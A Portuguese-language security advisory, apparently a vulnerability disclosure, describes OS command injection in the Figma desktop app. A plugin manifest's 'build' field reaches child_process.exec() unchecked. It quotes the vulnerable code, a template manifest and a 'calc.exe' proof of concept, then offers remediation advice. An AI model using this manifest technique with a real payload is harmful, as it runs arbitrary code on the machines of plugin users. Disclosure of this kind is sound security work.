
Vulnerabilidade de Injeção de Comandos do SO via Execução de Plugins no Aplicativo Desktop do Figma
O Figma Desktop Application (v125.6.5) contém uma vulnerabilidade de injeção de comandos no carregador de plugins.
Um manifesto de plugin malicioso (manifest.json) pode abusar do campo build, que é passado diretamente para sem validação.
Isso permite a execução arbitrária de comandos do SO assim que o plugin é carregado, sem avisos de segurança ou solicitações de confirmação.
child_process.exec()A vulnerabilidade origina-se do código localizado em main.js, que importa o módulo child_process embutido do Node.js:
Zlt = require("child_process")
Posteriormente, se o campo build estiver presente no arquivo manifest.json de um plugin e seu valor for uma string, o aplicativo executa o valor diretamente usando child_process.exec() sem qualquer sanitização ou validação:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
Como resultado, o seguinte arquivo manifest.json contido em um plugin malicioso faria com que o valor do campo build fosse executado como um comando do SO:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Este fluxo de execução está embutido na lógica de manipulação de plugins do Figma, e a inclusão da chamada require("child_process") em main.js confirma que a execução de comandos está integrada diretamente na lógica principal do aplicativo.
Ao executar um plugin que inclui o seguinte manifest.json malicioso:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Assim que este plugin é registrado no Figma e executado, o comando do SO especificado (calc.exe) é executado imediatamente.
Embora a execução do campo build seja um recurso oficialmente suportado no Figma Desktop Application, o aplicativo deve evitar depender de campos controlados pelo usuário em manifest.json, como build, sempre que possível.
Se tais campos precisarem ser suportados, eles devem passar por uma validação rigorosa de entrada para evitar injeção de comandos.
Além disso, o uso de child_process.exec() do Node.js deve ser evitado, e alternativas mais seguras com tratamento explícito de argumentos devem ser adotadas.